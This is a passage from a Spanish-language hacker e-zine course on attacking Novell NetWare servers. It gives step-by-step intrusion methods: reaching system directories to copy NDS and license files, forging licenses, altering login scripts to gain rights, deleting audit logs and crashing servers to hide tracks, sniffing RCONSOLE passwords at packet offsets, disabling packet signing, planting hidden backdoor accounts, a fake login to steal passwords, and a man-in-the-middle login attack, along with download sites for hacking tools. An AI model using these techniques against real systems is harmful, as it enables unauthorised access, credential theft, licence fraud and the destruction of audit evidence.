acceder a SYS:_NETWARE y hacer muchas cosas, como
copiar NDS, etc..
Pero lo que me han preguntado varios hackers es un camino
para acceder a este
directorio SIN subir un NLM via RCONSOLE.
Este es el medio.
Arrancando con el
software Green River beta, NETBASIC.NLM de HiTecSoft
(actualmente en el
SYS:NETBASIC).
HiTecSoft es
realmente fuerte, permite algunas sofisticadas cosas que han
sido desarrolladas en
un ambiente tipo Visual Basic, incluyendo NLM sin
usar compiler ni
linker de Watcom.
Cuando cargas
NETBASIC.NLM, teclea "shell" y te encontraras en un ambiente
tipo DOS. Es todavia
un NLM, pero el "commands" incluye comandos tipo DOS
como CD, DIR, COPY,
etc. En fin, el truco es simplemente "CD _NETWARE"
y....bingo !. A este
punto puedes hacer toda clase de cosas. Recuerda,
todavia puedes usar
JCMD.NLM, pero el punto es que es tipo "built in"
Cosas divertidas que
puedes hacer :
- Hacer copias de
toda clase de archivos, incluyendo licencias, NDS, login
scripts, archivos audit,...
- Copiar estos archivos
en SYS:LOGIN y pudes copiarlos fuera.
- Copiar fuera el
archivo de licencias (MLS.000) y jugar con un editor
hexadecimal. Recopiar el archivo modificado
y llamarlo MLS.001 y has
doblado las licencias disponibles (ten un
cuenta que es ilegal).
- Modificar login
scripts para diversion, provecho y ganar derechos extras.
- Juega con los
archivos auditing, incluso borrando NET$AUDT.CAF y archivos
con extension de .$AF en caso de que auditor
olvidara el password.
Gracias a los
miembros de SIC( Hardware, Cyberius y Jungman) por descubrir
el agujero de
NETBASIC.
Septimo capitulo
sobre Novell Netware
Capitulo - 07
INFORMACION DIVERSA EN NETWARE
07-1 Porque no puedo
acceder a traves de un server 3.x otra red via TCP/IP
Cargando TCPIP.NLM en
un server con dos tarjetas, no significa que los
paquetes puedan
enviarse de una tarjeta a otra. Para que el reenvio funcione,
el archivo
AUTOEXEC.NCF deberia tener la linea siguiente :
LOAD TCPIP
FORWARD=YES
Para que los paquetes
circulen a traves del server, tienes que poner la
opcion
"gateway=aa.bb.cc.dd" en la estacion de trabajo. Asi abres el camina
hacia el server. Si
estas escribiendo herramientas hach, tenlo presente si
utilizas IP.
Algunos routers
antiguos puede que no reconozcan el server Netware como
router, por tanto
puede que no tengas muchas opciones si tu objetivo esta al
otro lado de una de
estos routers. Los servidores mas modernos son Netware
aware y encontraran
ttu server como router a traves de RIP.
Netware 3.11 IP solo
trabajara entre dos subnets diferentes. Proxi ARP no
esta soportado en
Netware IP.
Ejemplo :
123.45.6 &
123.45.7 con una mascara de ff.ff.ff.00 Transmitira
123.45.6 &
231.45.7 con una mascara de ff.ff.ff.00 NO transmitira
No pierdas el tiempo
intentando cruzar rios no vadeables. Algunos admin
utilizan esto para
limitar el flujo del trafico IP.
07-2 Como bootear mi
server sin correr STARTUP.NCF / AUTOEXEC.NCF
Para Netware 3.xx,
utiliza los comandos :
SERVER -NS (para
evitar STARTUP.NCF)
SERVER -NA (para
evitar AUTOEXEC.NCF)
Netware 2.x no tiene
los archivos START.NCF y AUTOEXEC.NCF. En su lugar tiene
toda la informacion
en codigo fuente en NET$OS.EXE, por tanto tienes que
reconstruirlo para
cambiar algo.
07-3 Como hacer login
sin correr el System Login Script
A menudo un admin
intentara evitar que los usuarios utilicen directamente
el DOS y se salgan
del System Login Script para poderlos controlar. He aqui
algunos caminos para
evitarlo :
- Utiliza ATTACH en
lugar de LOGIN para conectarse a un server. ATTACH no
lanza el login script, como lo hace LOGIN.
ATTACH tiene que copiarse en
el disco local o ponerse en el SYS:LOGIN.
- Utiliza la opcion
/S para LOGIN. Usando "LOGIN /S NUL "
provocara que LOGIN cargue el dispositivo
NUL que siempre se compartara
como un archivo vacio.
07-4 Como rebootear
un server Netware 3.x a distancia.
Si tienes acceso a un
server via RCONSOLE puedes hacerlo despues de cargar o
descargar un NLM para
rebootear un server. Construye un archivo NCF siguiendo
las etapas siguientes
:
- Crea un archivo
llamado DOWNBOY.NCF en tu disco local. Puede ser un archivo
texto y contener las lineas siguientes :
REMOVE DOS
DOWN
EXIT
- Copia el srchivo en
el directorio SYS:SYSTEM utilizando RCONSOLE.
- En la consola,
teclea DOWNBOY y enter.
pasa los iguiente :
- El comando REMOVE
DOS libera la seccion DOS en la RAM del server.
- DOWN....para el
server (si hay archivos abiertos, saldra el tipico mensaje
"are you sure", contesta Y, o sea
si...). EXIT intenta retornar la consola
del server al DOS. Pero como tu has liberado
el DOS de la RAM, el server
se bootea en caliente.
07-5 Como se puede
parar un server Netware y porque.
Respondere a la
segunda pregunta primero. Quieres chequear como
admministrador como
se recupera tu server despues de un crash. O puede que
seas un hacker y
quieras cubrir tus rastros de una forma dramatica. despues
de todo, si has
estado editando los archivos log y tienen un aspecto
sospechoso, un buen
crash puede explicar porque tienen este aspecto los log.
Segun itsme :
- Netware 4.1 :
teclea 512 caracteres en la consola + NENTER ==> crash
- Netware 3.11 : NCP
request 0x17-subfn 0xeb con un numero de conexion
superior a la admitida (hacen falta los
API).
Si tienes acceso a la
consola :
- Teclea UNLOAD
RENDIRFX
- Utiliza una copia
local de SYS:PUBLIC/RENDIR.EXE
- En SYS:LOGIN teclea
RENDIR
(no es necesario login, solo conexion con el
server)
07-6 Que es Netware
NFS y que tan seguro es.
NFS (Networked File
System) se usaba originalmente en UNIX para montar a
distancia un sistema
de archivos diferentes. El objetivo original en Netware
es el permitir al
server montar un sistema de archivos Unix como un volumen
Netware permitiendo a
los usuarios Netware acceder a los datos Unix sin
correr IP o hacer
login en el server, y a los usuarios Unix montar un volumen
Netware como un
sistema remoto de archivos. Si los derechos estan asignados
incorrectamente
puedes acceder al server.
Mientras el producto
trabaja como se describe, es un poco dificil de
administrar, las
cuentas de los usuarios en ambos lados deben sincronizarse
(nombre y password) y
puede ser un poco dificil asegurar que asi es, a no ser
que las versiones
sean Netware NFS 2.1 o superior con Netware 4.x y el lado
UNIX no corre NIS.
Simplemente a~adiendo
el UID correcto al objeto NDS para crear una relacion
de derechos en ambos
sentidos. Hay tres sistemas...Unix es Dios. Netware es
Dios, o ambos son
equivalentes.
Un problema conocido
con Netware NFS es que despues de descargar y cargar
utilizando los
archivos NCFn un sistema monta desde el lado UNIX includes
SYS:ETC con acceso de
solo lectura. Si aste directorio puede bloquearse
desde el lado Unix
despues de montarlo NCF y CFG pueden verse y explotarse
su informacion.
Por ejemplo, SYS:ETC
es un sitio donde se puede encontrar LDREMOTE.NCF, que
puede contener el
password de RCONSOLE.
En Netware 3.11 si
pides el mapeador para manejar NFS, te lo dara. Cuando
le das el NFS al
archivo manejador, chequeara el mapeador LOCAL y te dara
la informacion.
Puedes entonces leer cualquier archivo en el montado
anteriormente.
La existencia de
Netware NFS en un server te concede ventanas UNIX en algunos
sitios, que puedes
ser otro interesante metodo para lograr el acceso al
sistema.
07-7 Puede
"sniffing packets" ayudarte a entrar ?
Si. Si un usuario se
conecta y la password se transmite sin encriptar, lo
podras ver en puro y
duro tecto en la traza. Si el server utiliza telnet y
ftp, capturar el
password es facil. Para entrar en diversos sistemas, muchos
usuarios utilizan la
misma password o variantes. Para obtener una lista de
diversos sniffers,
buscad en "alt.2600/#hack". Lo podeis encontrar con
cualquier buscador
potente de la red.
RCONSOLE.EXE es la
aplicacion cliente que ofrece acceso remoto a la consola
del server Novell. La
conexion entre el cliente y la consola del server
permite al admin
manejar al server como si estubiera fisicamente delante
del teclado, y
permite virtualmente cualquier accion, incluyendo cargar
archivos al server y
cargar y descargar Netware Loaddable Modules (NLMs).
No es solo una
efectiva herramienta de administrador, sino tambien el primer
objetivo de los
hackers.
Un punto critico de
acceso de muchos server es fisicamente el teclado. Es una
de las razones por
las cuales el acceso fisico a los teclados es tan
importante.
La principal razon
para hackear RCONSOLE es para tener acceso a la consola.
No, no estar
fisicamente, pero el OS no ve la diferencia. Y la principal
razon para tener
acceso a la consola es para utilizar alguna herramienta
que nos permita ganar
privilegios de supervisor.
Durante el proceso de
RCONSOLE, el password viaja encriptado. Si tu espias
la conversacion,
veras los paquetes que contienen la apertura de RCONSOLE,
los posibles server
que se puede acceder, etc. Esta conversacion se realiza
en paquetes NCP.
cuando se arranca
RCONSOLE, el usuario elige el server, teclea enter y se le
pregunta el password.
Una vez se introduce la password, la conversacion
contiene dos paquetes
IPX/SPX de 60 byte seguidos de 4 paquetes NCP de 64
bytes, 60 bytes, 64
bytes y 310 bytes. El siguiente paquete IPX/SPX de 186
bytes, contiene el
password. Se encuentra en el offset 3Ah, que es facil de
encontrar. El offset
38h siempre es FE y el 39h siemppre es FF.
Ahora es el momento
de utilizar una herramienta llamada RCON.EXE de itsme,
que te puede dar
alguna infromacion de los datos recogidos y ayudarte a
conseguir el
password. Todo lo que necesitas son los 8 bytes hex que empiezan
en el offset 3Ah, la
direccion de la network y la del nodo.
Ahora la direccion de
network y nodo estan en la cabecedera de los paquetes
que contienen la
password. Estos datos tambien se pueden obtener mediante el
comando USERLIST /A.
Entonces, por que percisamente los 8 hex primeros bytes?
Esto es lo que hace
Novell. No es un esuqema muy complicado.
07-8 Otras cosas que
puede dar el sniffing.
Hemos se~alado que
RCONSOLE envia las pantallas en texto a traves de la red
para que todos lo
puedan veer (bien... todos los que esten mirando...).
Esto significa que
puedes ver que estan tecleando y que esta pasando en la
pantalla. Normalmente
no hay grandes cosas que mirar, pero ocasionalmente
puedes ver algunas
joyas. La mejor de todas ? la password de RCONSOLE.
La primera sesion de
RCONSOLE subira a la pantalla con las lineas LOAD
REMOTE y LOAD RSPX
PASSWORD (siendo PASSWORD la password de RCONSOLE), y esto
se envia a los
usuarios de RCONSOLE en texto.
Teiwaz descibrio que
SYCON envia los cambios de password en texto. Mientras
que SETPASS, LOGIN,
MAP y ATTACH encriptan el password en 3.x, SYSCON no lo
hace.
Recordad que sniffing
muestra tambien los password de TELNET, FTP, POP3 y
otros. A menudo los
usuarios utilizan la misma password de sistema en
sistema, por tanto
estos password pueden usarse para probar otras cuentas.
En redes grandes, los
administradores de Netware puedn tener la misma
password para cuentas
privilegiadas de otros sistemas, por tanto la cuenta de
admin o supervisor
pueden utilizarse para la cuenta de un Unix. Por tanto una
sesion TELNET que
contiene una password puedde revelar la password de admin.
07-9 Como funciona la
encriptacion de passsword.
De itsme.
1.-La Estacion de
Trabajo (ET) requiere una llave de sesion del server
(NCP-17-17)
2.-El server envia
una llave de 8 bytte a la ET.
3.-La ET encripta la
password con la identificacion del usuario, este valor
en 116 byte es lo que se almacena en el
bindery del server.
4.-La estacion de
trabajo encripta este valor de 16 bytes con la llave de
sesion de 8 byte, el cual se envia al
server.
(NCP-17-18=login), (NCP-17-4a=verify),
(NCP-17-4b=change pw)
5.-El server realiza
la misma encriptacion y compara su resultado con el que
recibe de la ET.
La informacion
contenida en los archivos NET$*.OLD que se pueden encontrar
en el directorio de
sistema despues de lanzar el bindfix, es suficiente
conectarse al server
con cualquier objeto.
07-10 Productos que
ayudan a mejorar la seguridad de Netware
Mientras que hay un
numero de productos, comercial y de publico dominio que
tienen diversas
caracteristicas de seguridad, los siguientes productos o son
realmente buenos o
tienen caracteristicas unicas.
Hay un producto
comercial llamado SmartPass, que corre como un NLM. Una vez
instalado, puedes
cargar y analizar password existentes para detectar puntos
debiles. Una demo free
puede obtenerse en la direccion :
http://www.egsoftware.com
SmartPass chequeara
password al vuelo, por tanto un usuario puede ser forzado
a usar un diccionario
de palabras para una password.
Otro producto
comercial que chequeara de un diccionario de palabras si una
password esta en la
lista es Binview NCS. La version bindery es
horrorosamente lenta,
pero completamente precisa. Requiere acceso supe.
Bindview puede
producir un cierto numero de informes, incluyendo informes
parametrizados para
darte toda clase de informacion acerca del server y de
su contenido. El
nuevo Bindview NDS es incluso mejor. Lanzado como un NLM
el chequeo de
password es rapido dando el nombre de las cuentas que utilizan
passwords debiles.
Puede hacer cientos de chequeos versus algunos/segundo de
la version bindery.
Puedes utilizar la version lenta si quieres, pero solo
para los que gustan
de la tortura.
Las posibilidades de
reporting son fabulosas y a partir del momento que
pueden
parametrizarse, el admin puede tener informes de seguridad a medida.
Para mas informacion
de Bindview :
http://www.bindview.com
Para auditar una
version 3.x, utiliza AuditTrack. Te dara todos los accesos
de un directorio o
archivo individual por usuario , que puede ser util para
saber que estan
haciendo. E.G.Software, la empresa desarrolladora, puede
encontrarse en :
http://egsoftware.com
Intrusion Detection
Systems vende un producto llamado Kane Security Analyst.
Es considerado por
muchos como el SATAN de Netware. Una de sus abilidades es
localizar objetos
ocultos en el DNS. Hay una demo valida 30 dias en :
http://www.intrusion.com
"SafeWord for
Netware Connect" es un NLM que chequea password en un entorno
Netware Connect.
http://www.safeword.com/welcom.htm
Aqui hay un producto
llamado Password Helper que aumenta la seguridad de
cambio de password
para 3.x. Es un EX/Server NLM que permite a usuarios
no-supe, resetear
passwords.
07-11 Que es Packet
Signature y como evitarlo
Packet Signature
funciona usando una etapa internedia durante la llamada
de encriptacion del
password logon, para calcular una firma de 64-bit. Este
bloque nunca se envia
a traves de la red, sino que se usa como base para una
firma segura
("secure hash") en la parte mas importante de cada paquete NCP.
Un paquete firmado se
toma como prueba suficiente de que el paquete viene
del PC correcto.
NCP Packet Signature
es la respuesta de Novell al trabajo realizado por los
muchachos de Holanda
en el hacking de Netware. La idea es prevenir paquetes
olvidados y accesos
de supervisor no autorizados. Es una opcion en 3.11,
pero viene como parte
del sistema con 3.12 y 4.x
Los niveles de firma
en clientes y servers son los siguientes :
0 = Sin firma
1 = Se firman se se
requieren
2 = Se firman si tu
sistema lo soporta, pero no si el otro no lo soporta.
3 = Siempre se firma.
Puedes establecer el
mismo nivel en el server. El nivel por defecto es 2 en
server y clientes. Si
utilizas una herramienta como HACK.EXE, intenta el
nivel 0 en el cliente
a~adiendo :
signature level=0
en el archivo NET.CFG
del cliente. Si el server requiere paquetes firmados
no podran entrar,
pero si te deja, hackea a gusto !
Si quieres cambiar el
nivel en el server, utiliza el siguiente comando :
SET NCPPACKET
SIGNATURE OPTION=2
07-12 Hay utilidades
Netware con agujeros tipo Unix ?
Es una pregunta que
se hace a menudo, inspirada en los errores stack overrun,
bugs del sendmail y
otros parecidos en el mundo Unix. La razon de que no
tenga este tipo de
entradas en las utilidades de Netware es debido a :
- Tu utilizas un
shell de propiedad que puede cargarse sin acceder al server.
Por tanto no hay shell a explotar.
- Virtualmente todas
las utilidades Netware no usan stdin y stdout, por
tanto no hay tampoco overruns de stack a
explotar.
- Desde el momento
que el shell corre de forma local, y no en el server, no
hay medio para alcanzar mas accesos de los
que tienes, parecidos a los
script SUID en el Unix.
- Desde luego hay
utilidades HACK.EXE que permiten accesos extra bajo ciertas
condiciones en 3.11, pero no en utilidades
escritas por Novell.
07-13 Se puede
instalar un backdoor invisible para BINDFIX, e incluso a las
utilidades de SECURITY ?
Rx2 ha escrito
algunos programas en Pascal que permite hacer esto, no es
completamente
invisible, pero casi. El codigo fuente esta en la seccion
A-08 (proximamente..)
y una referencia de BACKDOOR.EXE en el capitulo 09-6
Primero de todo, los
codigos de Rx2 deben ejecutarse como supe.
Crean un objeto
bindery del tipo que quieras.
Los usuarios normales
son del tipo 1.
Las impresoras del
tipo 3
Los server de
impresion del tipo 7
Tan pronto como se
construye la propiedad PASSWORD, la cuenta es utilizable.
Si mantienes el
objeto por debajpp de 200 (Rx2 recomienda 84), BINDFIX y
SECURITY no dara
mensajes de alarma. El codigo de Rx2 va mas alla y permite
crear objetos con
derechos supe. El LOGIN.EXE normal, solo usa objetos
tipo 1, por tanto
tienes que utilizar el programa B_LOGIN.EXE (En anexo A-08)
Como efecto
secundario, los objetos tipo 1, no son vistos por USERLIST y
SYSCON.
-[ 0x0E
]--------------------------------------------------------------------
-[ CURSO DE NOVELL
NETWARE -VIII-, -IX- Y -X- ]------------------------------
-[ by MadFran
]-------------------------------------------------------SET-18-
Octavo capitulo sobre
Novell Netware
Capitulo - 08 NETWARE Y WINDOWS 95
08-1 Puede provocar
problemas Win 95 a un server Netware ?
Por defecto Windows
95 se entrega con nombres largos (Long Files Names, LFN)
y con Packet Burst
Activate. LFN da problemas .... si el server no entiende
los nombres largos,
habran conflictos de archivos y ocasionalmente bloquerara
el server.
Pero lo peor es
Packet Burst. A menos que tengas como minimo un server 3.11
corriendo PBURST.NLM,
con drivers capaces de manejar Packet Burst, el buffer
utilizado para las
conexiones network y/o el buffer de la tarjeta de red,
daran problemas,
desde esperas largas hasta desconexiones.
Hay una serie de
cosas que se podrian hacer, desde poner al dia el server
(no es posible para
usuarios de 2.x), hasta a¤adir al SYSTEM.INI de las
estaciones clientes
la secccion siguiente :
[hwredir]
SupportBurst=0
SupportLFN=0
08-2 ...y problemas a
una red Netware ?
Si esta configurado
el File&Print Sharing y tienes usuarios N0-Win 95, puedes
tener serios
problemas de red. Por que ?. He aqui una breve explicacion.
El modo en que
Netware publica sus archivos e impresoras es via sus propios
(y bien documentados
) Service Advertisng Protocol (SAP). El modo en que se
comunican estos
recursos es via paquetes Routing Information Protocol (RIP).
Ambos se transmiten
en modo publico. Los servers Netware e incluso los
equipos de red
inteligentes que conforman el esquema de protocolos (como
routers) comparte
esta informacion dinamicamente. El problema nace cuando
Win 95 es configurado
con File&Sharing para Netware, debido a que Win 95
tiene un asqueroso
sistema de interactuar con SAP y RIP. Como muchos
especialistas en
LAN/WAN diran, los extras SAP rapidamente absorven ancho de
banda, causando
demoras y tormentas de comunicacion.
Netware 3.x y 4.x
tienen patches para esto, pero lo mas facil es simplemente
NO usar
File&Print Sharing bajo Win 95....utiliza los servicios standard de
Netware o usa en su lugar clientes FPS para redes
Microsoft.
Pueden los hackers
aprovecharse de esto ? He aqui un poco de teoria.
- Instala File&Print Sharing para Netware
en Windows 95.
- En una ambiente Netware, hay un numero de
red interno y otro externo.
Win 95 solo te mostrara el externo, y con
este nuemro puedes determinar
cuan lejos estas del servidor.
- Cuando un usuario normal se conecta, el
usuario necesita acceder al server
mas cercano para encontrar la direccion de
su servidor preferido de las
tablas SSAP y RIP que se encuentran en el
server mas cercano. Los routers
normalmente, solo daran el nombre y
direccion del server mas cercano. Esto
provocara un monton de conexiones al
server. Ni siquiera incluir una
variable PREFERED SERVER en el NET.CFG,
ayudara de mucho.
- Para evitar a los clientes errores de timing
out, Microsoft pasa al usuario
al servidor preferente si el server Win 95
esta configurado con el mismo
nombre.
- En teoria se podria crear un directorio
\LOGIN y lanzar su propio LOGIN.EXE
que grabara el password y reenvia al
cliente a su server real.
Como evitarlo ? Bien,
en un ambiente WAN un router puede configurarse para
solo permitir SPs que
vengan de ciertos segmentos, donde todos los puestos de
trabajo funcionen
bajo Win 95 (probablemente es una solucion Microsoft..)
De todas formas, a
pesar de que una docena de personas me han dicho que
se puede hacer,
ninguna me ha dicho que lo ha hecho.
08-3 Problemas con
Win 95 y password dde Netware.
Windows 95 tiene su
propio archivo de password y utiliza este archivo para
almacenar su password
y la de los servers Netware y NT. El problema es que el
archivo PWL es
facilmente crackeable por brute force, utilizando algunas
programas facilmente
encontrables en Internet. Para evitar esto felizmente
existe el Service
Pack1 o desconectar el archivo de Passwords.
Pero todavia se puede
acceder al WIN386.SWP. Ahora, o bien utilizando DiskEdit
de Norton o
arrancando desde DOS, puedes acceder al archivo SWP y buscar ahi
la password. Busca la
secuencia "nwcs" y la password esta despues.
08-4 Puede Win 95
by-pasar la seguridad Netware ?
No estoy seguro de
las condiciones, pero si tu archivo PWL tiene entre 600
bytes y 900 bytes, tu
estacion de trabajo se puede conectar sin necesidad de
password. Este bug
funciona en Diciembre de 1995.
Hay dos formas de
explotacion.
- En algunos sistemas generando un archivo
grande puedes simplemente
asegurarte que generas un archivo PWL con
el nombre de la cuenta objetivo
y arrancar con este archivo PWL.
- Simplemente conseguir el PWL de un PC
desatendido y arrancar usandola.
Noveno capitulo sobre
Novell Netware
Capitulo - 09 RECURSOS
09-1. Algunos sitios
para hacer FTP
Hay mucha informacion
extraible de FAQs. No los he probado todos y no puedo
asegurar que
funcionen. Bien... pero para empezar....
FTP oficiales de
Novell:
ftp.novell.com
137.65.2.108
ftp.novell.de
193.97.127.37
Mirrors de Novell:
netlab2.usu.edu 129.123.1.44
(el mejor)
ftp.rug.nl /networks/novell/updates 129.125.4.14
tui.lincoln.ac.nz / 138.75.90.4
Other Misc. Sites:
splicer2.cba.hawaii.edu
/ 128.171.17.2
risc.ua.edu /pub/network/netwire 130.160.4.7
/pub/network/pegasus
/pub/network/misc
/pub/network/tcpip
wuarchive.wustl.edu /systems/novell 128.252.135.4
ftp.uni-kl.de /pub/novell 131.246.94.94
netlab.usu.edu /novell 129.123.1.11
/netwatch
chaos.cc.ncsu.edu /pc/novell 152.1.10.23
/pc/utils
/pc/email
/pc/nlm
/pc/manage
sodapop.cc.LaTech.edu /pub/novell/specials 138.47.22.47
ftp.safe.net /pub/safetynet/ 199.171.27.2
ftp.best.com /pub/almcepud/hacks 206.86.8.11
ftp.infonexus.com /pub/ToolsOfTheTrade/Netware
207.171.209.35
biomed.engr.LaTech.edu /sys/pub/ecl/specials 138.47.15.1
ftp.iag.net /pub/clipper/ 204.27.210.69
09-2. Algunos WWW de
Novell
http://www.novell.com/
Novell
en Provo
http://www.novell.de/ Novell en
Europa
http://www.salford.ac.uk/ais/Network/Novell-Faq.html Novell@listserv.syr.edu
http://mft.ucs.ed.ac.uk/ Edinburg Tech Library*
http://www.efs.mq.edu.au/novell/faq comp.sys.novell FAQ
http://occam.sjf.novell.com:8080 Manuales Online
http://www.safe.net/safety Security Company
http://www.users.mis.net/~gregmi/ Muy bueno!
http://www.rad.kumc.edu/share/novell/apps/ Buena coleccion de
herramientas
http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html
comp.os.netware.security FAQ
http://www.fsid.cvut.cz/pub/net/msdos/packet-monitor/ Sniffers
09-3. Foros de debate
Netware USENET
Especificos Netware :
comp.os.netware.misc (grupo
principal)
comp.os.netware.announce
(moderada)
comp.os.netware.security (sobre
seguridad)
comp.os.netware.connectivity
(conectividad LAN Workplace)
Seguridad, H/P en
general:
alt.2600
alt.security
comp.security.announce
comp.security.misc
09-4. Listas de
distribucion Netware
* NOVELL@listserv.syr.edu - envia un email sin
subject a
listserv@listserv.syr.edu
con "subscribe NOVELL Your Full Name" en el
cuerpo del mensaje.
Recibiras un mensaje
al que tienes que responder en dos dias, sino no te
incluiran en la
lista.
Greg Miller ha
lanzado una lista de seguridad.
Para suscribirte:
subscribe nw-hack
a
majordomo@dav-48.anthro.ufl.edu. Esta lista es para DETALLADAS discusiones
de seguridad Netware.
Como nota interesante, el server es un Netware
3.x con Mercury mail.
Hay como minimo otras
17 listas activas que tratan de Netware
Pueden encontrarse en
NOVELL@listserv.syr.edu.
09-5. Y FAQs de
Netware ?
El mas completo es el
de NOVELL@LISTSERV.SYR.EDU, disponible en muchos sitios
ftp://netlab2.usu.edu/misc/faq.txt
http://netlab1.usu.edu/novell.faq/nov-faq.htm
Stanley Toney publica
una bi-semanal Netware Patches y Updates FAQ en
comp.os.netware.announce.
Tambien disponible en
ftp://ftp.nsm.smcm.edu/pub/novell/patchfaq.zip.
Marcus Williamson
tiene una FAQ exclusiva para Netware 4:
http://ourworld.compuserve.com/homepages/marcus_williamson/
No olvidar
alt.2600/#hack FAQ como fuente generica de
hacking/phreaking,
disponible en rtfm.mit.edu.
09-6. Donde
encontrarlos ?
FTP:
SETSPWD.NLM - netlab2.usu.edu /misc
SETSPASS.NLM -
netlab2.usu.edu /misc
CONLOG.NLM - netlab2.usu.edu /misc
USERLST.EXE - ml0.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
LASTHOPE.NLM -
ml0.ucs.ed.ac.uk
/guest/pc/novell/nlms lasthope.zip
X-AWAY.EXE - ml0.ucs.ed.ac.uk /guest/pc/novell/utils x-away.zip
GRPLIST.EXE - ml0.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
GETEQUIV.EXE -
ml0.ucs.ed.ac.uk
/guest/pc/novell/utils jrb212a.zip
TRSTLIST.EXE -
ml0.ucs.ed.ac.uk
/guest/pc/novell/utils jrb212a.zip
SECUREFX.NLM - www.novell.com Search for it in the Tech Section
SMARTPASS - ftp.efs.mq.edu.au /pub/novell smrtpw.zip
WWW:
BACKDOOR.EXE -
http://www.worldaccess.nl/~mk77
BINDERY.EXE -
http://www.nmrc.org/files/netware/bindery.zip
SETPWD.NLM - http://www.nmrc.org/files/netware/setpwd.zip
NOVELBFH.EXE -
http://www.nmrc.org/files/netware/novelbfh.zip
KNOCK.EXE -
http://www.nmrc.org/files/netware/knock.zip
LOGIN.EXE -
http://www.nmrc.org/files/netware/nwl.zip
PROP.EXE - http://www.nmrc.org/files/netware/nwl.zip
CHKNULL.EXE -
http://www.nmrc.org/files/netware/chknull.zip
NW-HACK.EXE -
http://www.nmrc.org/files/netware/nw-hack.zip
SUPER.EXE -
http://www.nmrc.org/files/netware/super.zip
RCON.EXE - http://www.nmrc.org/files/netware/rcon.zip
Tambien en
ftp.infonexus.com,.... buen sitio para hackers.
Decimo capitulo sobre
Novell Netware
Capitulo - 10 LAS API DE NETWARE
10-1. Donde y como
conseguir los API de Netware
En EEUU, llama al
1-800-RED-WORD, cuesta $50 e incluye dos licencias usuario
de Netware 4.1
Funciona con diversas compiladores, pero si quieres escribir
NLMs necesitaras el
ultimo Watcon. Es el unico que conozco que puede linkar
NLM.
10-2. Otras
alternativas ?
Hay diversas.
- Visual ManageWare
de HitecSoft (602) 970-1025. Este producto permite
desarrollar NLM y exes DOS mediante una
herramienta tipo Visual Basic.
Royalty-free sin C/C++ ni Watcom, sin
embargo incluyen links para
programas C/C++. El juego completo,
incluyendo compiladores, cuesta 895$.
- Public Domain Small
Men Model Lib.
Se puede encontrar en :
FTP://OAK.OAKLAND.EDU/SIMTEL/MSDOS/C/NETCLB30.ZIP
El autor es Adrian Cunnelly -
adrian@amcsoft.demon.co.uk
Precio : 38 $ - Todas las librerias +
Windowss DLL
110 $ - Lo anterior mas las fuentes.
n
Y nunca esta de
mas visitar http://www.users.mis.net/~gregmi/
-[ 0x0E
]--------------------------------------------------------------------
-[ CURSO DE NOVELL
NETWARE -XI-, -XII- Y -XIII- ]----------------------------
-[ by MadFran
]-------------------------------------------------------SET-19-
Seccion 11
Matematicas /
Teoria (.....lo siento)
---------------------------------------------------------------------------
11-1. Como funciona
el conjunto password/login/encriptacion
En 3.x y 4.x los
password estan encriptados. He aqui la forma en que 3.x
maneja todo esto.
1.-Alicia envia una
peticion de login al server.
2.-El server mira en
el nombre de Alicia y busca su UID. El server genera
un valor aleatorio R y envia el par(UID,R)
a Alicia.
3.-Alicia genera
X=hash(UID,password) e Y=hash(R,X). Alicia envia Y al
server.
4.-El server busca el
valor almacenado X'=hash(UID,password) y calcula
Y'=hash(X',R).
Si Y=Y', Alicia obtiene el acceso.
5.-Alicia y el server
calculan Z=hash(X,R,c) (c es una constante). Z se
utiliza como llave de la sesion actual
Nota : El paso 5 solo
es posible si el server y Alicia se ponen de acuerdo
para firmar paquetes.
En NetWare 4.x la
secuencia de login utiliza un esquema privado/publico
siguiendo RSA:
1.-Alicia envia la
peticion de login al server.
2.-El server genera
un valor R aleatorio y calcula
X' = hash(UID, password)
Y' = hash(X', R)
y envia R a Alicia.
3.-Alicia calcula
X = hash(UID, password)
y = hash(X,R)
Alicia genera un valor R2 aleatorio, busca
la llave publica del server
y envia el par (Y,R2) al server encriptado
con la llave publica.
4.-El server
desencripta el par (Y,R2), si Y=Y', la password dada por
Alicia es correcta. El server utiliza la
llave privada de Alicia,
calcula Z = (llave privada Alicia XOR R2) y
transmite Z a Alicia.
5.-Alicia calcula
llave privada= R2 XOR Z. Esta llave se utiliza para
firmar los paquetes.
Se debe tener en
cuenta que NetWare 4.x encripta las llaves privadas de
Alicia RSA con X' que
estan almacenadas en el server.
---------------------------------------------------------------------------
11-2. Posibilidades
del ataque "hombre en medio" (man-in-the-middle)
En teoria es posible
siguiendo el proceso del apartado 11-1.
Primero veamos en
NetWare 3.x
Este es una variante
del ataque "Man-In-The-Middle" (MITM desde ahora)
usado para atacar
claves publicas en criptosistemas. Un ataque MITM real
puede funcionar pero
para implementarlo la conexion debe interrumpirse y
alguien se puede
preguntar que esta pasando.
El ataque requiere
que Bob (el atacante) sea capaz de enviar paquetes a
el server y a Alicia,
mas rapido que el server y Alicia entre ellos. Hay
una serie de formas
de plantear el escenario. El mejor es implementar un
ataque MITM a traves
de un router o segmentando el cable entre el server
y Alicia.
Otro sistema es
enlazar dos puntos, uno cercano a Alicia y otro al server.
El mejor sistema para
hacerlo es conectar dos hosts juntos en el sitio
especifico. Si
cablear no es posible (...lo normal), Bob puede utilizar
tarjetas de red
inalambricas o modem conectados en jacks telefonicos
existentes o modem
celulares. Si se utilizan modem, el ataque requiere que
Bob tenga el control
de ambos ordenadores en la red e incrementara
el tiempo necesario
para tomar paquetes de Alicia o del server.
Este ataque no
funcionara si el server requiere que Alicia firme los
paquetes. La estacion
de trabajo de Alicia puede estar configurada para
firmar paquetes y
Alicia puede firmar los paquetes haciendo el ataque
muy dificil. Si todos
los hosts tienen que firmar los paquetes
tampoco funcionara el
ataque.
Esto es debido a que
Bob nunca conocera la password de Alicia, ni
nunca conocera
X=hash(UID, password).
El hecho de que
NetWare 3.x por defecto, permite que el hosts decida
firmar a no los
paquetes, hace el ataque posible. Sysadmin puede evitar
el ataque requiriendo
los paquetes firmados a todos los hosts.
El ataque
Cuando Bob ve que
Alicia pide login, Bob tambien pide un login como Alicia
al server. El server
generara dos valores random (R[a] y R[b], siendo el
R[a] enviado a Alicia
y R[b] el enviado a Bob). Cuando Bob recibe su R,
falsifica la
direccion del server y envia Rb a Alicia. Esta pensara que
el server le pide que
calcule Yb=hash(X, R[b]) nientras que el server
realmente intenta
Y[a]=hash(X,R[a]). Alicia enviara Y[b] al server, Bob
